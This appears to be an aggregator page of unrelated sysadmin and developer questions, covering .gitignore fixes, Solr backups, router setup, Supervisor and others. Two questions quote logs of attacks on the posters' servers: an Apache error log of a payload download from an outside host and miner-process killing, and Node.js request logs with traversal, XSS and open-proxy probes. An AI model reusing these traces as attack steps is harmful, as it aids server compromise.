    Originally posted on: http://geekswithblogs.net/terje/archive/2014/06/13/fixing-up-visual-studiorsquos-gitignore--using-ifix.aspxDownload tool Is there anything wrong with the built-in Visual Studio gitignore ???? Yes, there is !  First, some background: When you set up a git repo, it should be small and not contain anything not really needed.  One thing you should not have in your git repo is binary files. These binary files may come from two sources, one is the output files, in the bin and obj folders.  If you have a  gitignore file present, which you should always have (!!), these folders are excluded by the standard included file (the one included when you choose Team Explorer/Settings/GitIgnore – Add.) The other source are the packages folder coming from your NuGet setup.  You do use NuGet, right ?  Of course you do !  But, that gitignore file doesn’t have any exclude clause for those folders.  You have to add that manually.  (It will very probably be included in some upcoming update or release).  This is one thing that is missing from the built-in gitignore. To add those few lines is a no-brainer, you just include this: # NuGet Packages packages/* *.nupkg # Enable "build/" folder in the NuGet Packages folder since # NuGet packages use it for MSBuild targets. # This line needs to be after the ignore of the build folder # (and the packages folder if the line above has been uncommented) !packages/build/ Now, if you are like me, and you probably are, you add git repo’s faster than you can code, and you end up with a bunch of repo’s, and then start to wonder: Did I fix up those gitignore files, or did I forget it? The next thing you learn, for example by reading this blog post, is that the “standard” latest Visual Studio gitignore file exist at https://github.com/github/gitignore, and you locate it under the file name VisualStudio.gitignore.  Here you will find all the new stuff, for example, the exclusion of the roslyn ide folders was commited on May 24th.  So, you think, all is well, Visual Studio will use this file …..     I am very sorry, it won’t. Visual Studio comes with a gitignore file that is baked into the release, and that is by this time “very old”.  The one at github is the latest.  The included gitignore miss the exclusion of the nuget packages folder, it also miss a lot of new stuff, like the Roslyn stuff. So, how do you fix this ?  … note .. while we wait for the next version… You can manually update it for every single repo you create, which works, but it does get boring after a few times, doesn’t it ? IFix Enter IFix ,  install it from here. IFix is a command line utility (and the installer adds it to the system path, you might need to reboot), and one of the commands is gitignore If you run it from a directory, it will check and optionally fix all gitignores in all git repo’s in that folder or below.  So, start up by running it from your C:/<user>/source/repos folder. To run it in check mode – which will not change anything, just do a check: IFix  gitignore --check What it will do is to check if the gitignore file is present, and if it is, check if the packages folder has been excluded.  If you want to see those that are ok, add the --verbose command too.  The result may look like this: Fixing missing packages Let us fix a single repo by adding the missing packages structure,  using IFix --fix We first check, then fix, then check again to verify that the gitignore is correct, and that the “packages/” part has been added. If we open up the .gitignore, we see that the block shown below has been added to the end of the .gitignore file.   Comparing and fixing with latest standard Visual Studio gitignore (from github) Now, this tells you if you miss the nuget packages folder, but what about the latest gitignore from github ? You can check for this too, just add the option –merge (why this is named so will be clear later down) So, IFix gitignore --check –merge The result may come out like this  (sorry no colors, not got that far yet here): As you can see, one repo has the latest gitignore (test1), the others are missing either 57 or 150 lines.  IFix has three ways to fix this: --add --merge --replace The options work as follows: Add:  Used to add standard gitignore in the cases where a .gitignore file is missing, and only that, that means it won’t touch other existing gitignores. Merge: Used to merge in the missing lines from the standard into the gitignore file.  If gitignore file is missing, the whole standard will be added. Replace: Used to force a complete replacement of the existing gitignore with the standard one. The Add and Replace options can be used without Fix, which means they will actually do the action. If you combine with --check it will otherwise not touch any files, just do a verification.  So a Merge Check will  tell you if there is any difference between the local gitignore and the standard gitignore, a Compare in effect. When you do a Fix Merge it will combine the local gitignore with the standard, and add what is missing to the end of the local gitignore. It may mean some things may be doubled up if they are spelled a bit differently.  You might also see some extra comments added, but they do no harm. Init new repo with standard gitignore One cool thing is that with a new repo, or a repo that is missing its gitignore, you can grab the latest standard just by using either the Add or the Replace command, both will in effect do the same in this case. So, IFix gitignore --add will add it in, as in the complete example below, where we set up a new git repo and add in the latest standard gitignore: Notes The project is open sourced at github, and you can also report issues there.

    Read the article

  • Backup Solr home

    - by user226188
    I'm new to Solr: I've successfully installed Tomcat and Solr 4.3.1 webapp, and two collections on a CentOS 6.4 machine. Now, my server is in production and I need to make backups of solr. So, I would like to know what is the best way to backup solr... For the moment I'm dooing: stop tomcat = tar of my solr home = start tomcat, but I've read that is not a good solution? Moreover, this implie to stop all the tomcat which have other webapps than solr. I've also heard that there is a script named "backup" in solr home bin's folder ? but my bin folder is empty :( I don't want to make an another slave server with replication, for me it's not a backup solution because my backup are supposed to be send to a bacula backup server all nights. There is no builtin solution that I can work around to make a script ? like a mysqldump for Mysql servers. Thanks for help !

    Read the article

  • Configuring an EH-WIC Card on Cisco 1941 Router

    - by Olanrewaju T
    I have a Cisco 1941 Router that has just two ports for Gigabit connection but wanted more so I got a four port Cisco EH-WIC Card and connected it to it. I have been trying to assign IP address to the port GigabitEtnernet 0/0/0 because I have a cable already connected to it whose device I want it facing the router directly because I dont want to NAT its address. I want to assign the physical address on the port. Kinldy help if you understand what I am saying. Regards

    Read the article

  • Apache error log interpretation

    - by HTF
    It looks like someone gained access to my server. How I can find out which Apache vHosts this log is related to? How these commands from the log are invoked and how/why they are printed to the log file - is this some remote shell or PHP script? /var/log/httpd/error_log mkdir: cannot create directory `/tmp/.kdso': File exists --2014-06-13 13:29:17-- http://updates.dyndn-web.com/abc.txt Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 5055 (4.9K) [text/plain] Saving to: `abc.txt' 0K .... 100% 303K=0.02s 2014-06-13 13:29:17 (303 KB/s) - `abc.txt' saved [5055/5055] % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M101 5055 101 5055 0 0 79686 0 --:--:-- --:--:-- --:--:-- 154k minerd64: no process killed minerd32: no process killed named: no process killed kernelupdates: no process killed kernelcfg: no process killed kernelorg: no process killed ls: cannot access /tmp/.ICE-unix: No such file or directory mkdir: cannot create directory `/tmp': File exists --2014-06-13 13:29:18-- http://updates.dyndn-web.com/64.tar.gz Resolving updates.dyndn-web.com... 94.23.49.91 Connecting to updates.dyndn-web.com|94.23.49.91|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 205812 (201K) [application/x-tar] Saving to: `64.tar.gz' 0K .......... .......... .......... .......... .......... 24% 990K 0s 50K .......... .......... .......... .......... .......... 49% 2.74M 0s 100K .......... .......... .......... .......... .......... 74% 2.96M 0s 150K .......... .......... .......... .......... .......... 99% 3.49M 0s 200K 100% 17.4M=0.1s 2014-06-13 13:29:18 (1.99 MB/s) - `64.tar.gz' saved [205812/205812] sh: ./kernelupgrade: Permission denied

    Read the article

  • Ubuntu web site hosting & free ,tk domain

    - by user5819
    Hello, I am sort of new to web hosting so sorry if I ask bad questions. I have a pc that runs ubuntu I instaled apache and now I host a web site, but I need a domain name so I found out .tk is free. The site works when typing 192.168.1.x in the browser(x= a number) but in dot.tk when I register in ip it whats one that look like 79.117.x.x so thats where I get stuck, I think I managed to make my ip address static but it still looks like 192.168.1.x and I can't put that in because it says: " This IP address is not valid". Why must it have the ip address that looks like 79.117.x.x and won't work with the internal static one and how can I do to host my site with a .tk domain name ? PS: I'm using a cisco router that's connected with computer via a cable.

    Read the article

  • Someone tried to hack my Node.js server, need to understand a GET request in the logs

    - by Akay
    Alright, so I left my Node.js server alone for a while and came back to find some really interesting stuff in the logs. Apparently some moron from China or Poland tried to hack my server using directory traversal and what not, while it seems though he did not succeed I am unable understand few entries in the log. This is the output of a "hohup.out" file. The attack starts, apparently he is trying to find out some console entry in my server. All of which fail and return a 404. [90mGET /../../../../../../../../../../../ [31m500 [90m6ms - 2b[0m [90mGET /<script>alert(53416)</script> [33m404 [90m7ms[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET / [32m200 [90m1ms - 240b[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET /pz3yvy3lyzgja41w2sp [33m404 [90m1ms[0m [90mGET /stylesheets/style.css [33m404 [90m0ms[0m [90mGET /index.html [33m404 [90m1ms[0m [90mGET /index.htm [33m404 [90m0ms[0m [90mGET /default.html [33m404 [90m0ms[0m [90mGET /default.htm [33m404 [90m1ms[0m [90mGET /default.asp [33m404 [90m1ms[0m [90mGET /index.php [33m404 [90m0ms[0m [90mGET /default.php [33m404 [90m1ms[0m [90mGET /index.asp [33m404 [90m0ms[0m [90mGET /index.cgi [33m404 [90m0ms[0m [90mGET /index.jsp [33m404 [90m1ms[0m [90mGET /index.php3 [33m404 [90m0ms[0m [90mGET /index.pl [33m404 [90m0ms[0m [90mGET /default.jsp [33m404 [90m0ms[0m [90mGET /default.php3 [33m404 [90m0ms[0m [90mGET /index.html.en [33m404 [90m0ms[0m [90mGET /web.gif [33m404 [90m34ms[0m [90mGET /header.html [33m404 [90m1ms[0m [90mGET /homepage.nsf [33m404 [90m1ms[0m [90mGET /homepage.htm [33m404 [90m1ms[0m [90mGET /homepage.asp [33m404 [90m1ms[0m [90mGET /home.htm [33m404 [90m0ms[0m [90mGET /home.html [33m404 [90m1ms[0m [90mGET /home.asp [33m404 [90m1ms[0m [90mGET /login.asp [33m404 [90m0ms[0m [90mGET /login.html [33m404 [90m0ms[0m [90mGET /login.htm [33m404 [90m1ms[0m [90mGET /login.php [33m404 [90m0ms[0m [90mGET /index.cfm [33m404 [90m0ms[0m [90mGET /main.php [33m404 [90m1ms[0m [90mGET /main.asp [33m404 [90m1ms[0m [90mGET /main.htm [33m404 [90m1ms[0m [90mGET /main.html [33m404 [90m2ms[0m [90mGET /Welcome.html [33m404 [90m1ms[0m [90mGET /welcome.htm [33m404 [90m1ms[0m [90mGET /start.htm [33m404 [90m1ms[0m [90mGET /fleur.png [33m404 [90m0ms[0m [90mGET /level/99/ [33m404 [90m1ms[0m [90mGET /chl.css [33m404 [90m0ms[0m [90mGET /images/ [33m404 [90m0ms[0m [90mGET /robots.txt [33m404 [90m2ms[0m [90mGET /hb1/presign.asp [33m404 [90m1ms[0m [90mGET /NFuse/ASP/login.htm [33m404 [90m0ms[0m [90mGET /CCMAdmin/main.asp [33m404 [90m1ms[0m [90mGET /TiVoConnect?Command=QueryServer [33m404 [90m1ms[0m [90mGET /admin/images/rn_logo.gif [33m404 [90m1ms[0m [90mGET /vncviewer.jar [33m404 [90m1ms[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET / [32m200 [90m7ms - 240b[0m [90mOPTIONS / [32m200 [90m1ms - 3b[0m [90mTRACE / [33m404 [90m0ms[0m [90mPROPFIND / [33m404 [90m0ms[0m [90mGET /\./ [33m404 [90m1ms[0m But here is when things start getting fishy. [90mGET http://www.google.com/ [32m200 [90m2ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET / [32m200 [90m1ms - 240b[0m [90mGET /robots.txt [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m0ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m3ms[0m [90mGET /manager/html [33m404 [90m0ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m0ms[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET http://37.28.156.211/sprawdza.php [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m2ms - 240b[0m [90mHEAD / [32m200 [90m1ms - 240b[0m [90mGET http://www.daydaydata.com/proxy.txt [33m404 [90m19ms[0m [90mHEAD / [32m200 [90m1ms - 240b[0m [90mGET /manager/html [33m404 [90m2ms[0m [90mGET / [32m200 [90m4ms - 240b[0m [90mGET http://www.google.pl/search?q=wp.pl [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m0ms[0m [90mHEAD / [32m200 [90m2ms - 240b[0m [90mGET http://www.google.pl/search?q=onet.pl [33m404 [90m1ms[0m [90mHEAD / [32m200 [90m2ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET http://www.google.pl/search?q=ostro%C5%82%C4%99ka [33m404 [90m1ms[0m [90mGET http://www.google.pl/search?q=google [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m2ms - 240b[0m [90mHEAD / [32m200 [90m2ms - 240b[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m0ms[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET http://www.baidu.com/ [32m200 [90m2ms - 240b[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mPOST /api/login [32m200 [90m1ms - 28b[0m [90mGET /web-console/ServerInfo.jsp [33m404 [90m2ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m10ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://proxyjudge.info [32m200 [90m2ms - 240b[0m [90mGET / [32m200 [90m2ms - 240b[0m [90mGET / [32m200 [90m1ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m3ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m3ms - 240b[0m [90mGET http://www.baidu.com/ [32m200 [90m1ms - 240b[0m [90mGET /manager/html [33m404 [90m0ms[0m [90mGET /manager/html [33m404 [90m1ms[0m [90mGET http://www.google.com/ [32m200 [90m2ms - 240b[0m [90mHEAD / [32m200 [90m1ms - 240b[0m [90mGET http://www.google.com/ [32m200 [90m1ms - 240b[0m [90mGET http://www.google.com/search?tbo=d&source=hp&num=1&btnG=Search&q=niceman [33m404 [90m2ms[0m So my questions are, how come my server is returning a "200" OK for root level domains? How did the hacker even manage to send a GET request to my server such that "http://www.google.com" shows up in the log while my server is simply an API that works on relative URLs such as "/api/login". And, while I looked up the OPTIONS, TRACE and PROPFIND HTTP requests that my server has logged it would be great if someone could explain what exactly was the hacker trying to achieve by using these verbs? Also what in the world does "[90m [32m [90m1ms - 240b[0m" mean? The "ms" makes sense, probably milliseconds for the request, rest I am unable to understand. Thank you!

    Read the article

  • Knife leaves stray processes on my system

    - by Leons
    I'm seeing stray knife processes on my system. I have an automated ruby script that runs bundle exec knife bootstrap against various nodes. Most of the time the knife process completes and goes away, but sometimes it stays for days. I'm noticing it days later in ps aux I think it's related to the target node being down when knife runs. The chef server timeout is high, so the action completes eventually when the node goes back up, but I think knife may give up or hang somehow during the wait. Is there something I can do about the stray knife processes? Does knife have timeout settings separate from the chef server's timeout settings?

    Read the article

  • Cloudera Manager CDH5 - Installation Failure on Oozie Database

    - by Nerrve
    While doing the installation, i keep getting a failure on the step "Creating Oozie database" java.lang.Exception: DB schema exists at org.apache.oozie.tools.OozieDBCLI.validateDBSchema(OozieDBCLI.java:877) at org.apache.oozie.tools.OozieDBCLI.createDB(OozieDBCLI.java:184) at org.apache.oozie.tools.OozieDBCLI.run(OozieDBCLI.java:127) at org.apache.oozie.tools.OozieDBCLI.main(OozieDBCLI.java:78) How do i fix this? Where do i get the password/username/dbname for the PostgreSQL database to drop the existing schema? I tried cat /etc/cloudera-scm-server/db*.properties | grep pass and /var/lib/cloudera-scm-server-db/data/generated-password.txt but the passwords don't work!

    Read the article

  • Add single sign-on into existing web app

    - by EvilDr
    Apologies if this isn't the best site, I've search for an answer but can't find anything quite right. I don't actually now the correct terminology I should be using here, so any pointers will be appreciated. I have a web application that accessed by many different users across different organisations. Access is provided by each user having a unique username/password which is stored in SQL (database fields are customerID, userID, username). Some organisations are now asking if we can change this to allow "Active Directory single sign-on" so that users don't need to remember yet another set of login details. From research I can see how this is achieved using OpenAuth and Google (etc), but I know hardly anything about AD and can't find much information on this (again I'm sure it helps when you know the terminology). Is this request even possible to achieve, given that most users will be from different (and unrelated) organisations? I saw on a Microsoft Build video not long ago that there is some kind of replication service for AD to allow Cloud authentication. Is this what I should be aiming for?

    Read the article

  • Configure Supervisor to manage init.d services

    - by Eduard Luca
    I installed uwsgi and created a bash script, which allows me to start/stop uwsgi in the following manner: service uwsgi [start|stop]. This bash script is located in /etc/init.d/uwsgi. Now, I want to (politely) ask Supervisor to use that script to manage the uwsgi process. All the tutorials indicate that this is not the way to do it, however I do want to be able to do both service uwsgi stop and supervisorctl stop uwsgi (not sure if I nailed the syntax of the latter) -- even though I am aware that the first one will not in fact stop my service because supervisor will restart it (that's exactly what I need). Note that I'm using uwsgi in emperor mode if that matters in any way.

    Read the article

< Previous Page | 4 5 6 7 8 9 10 11 12 13  | Next Page >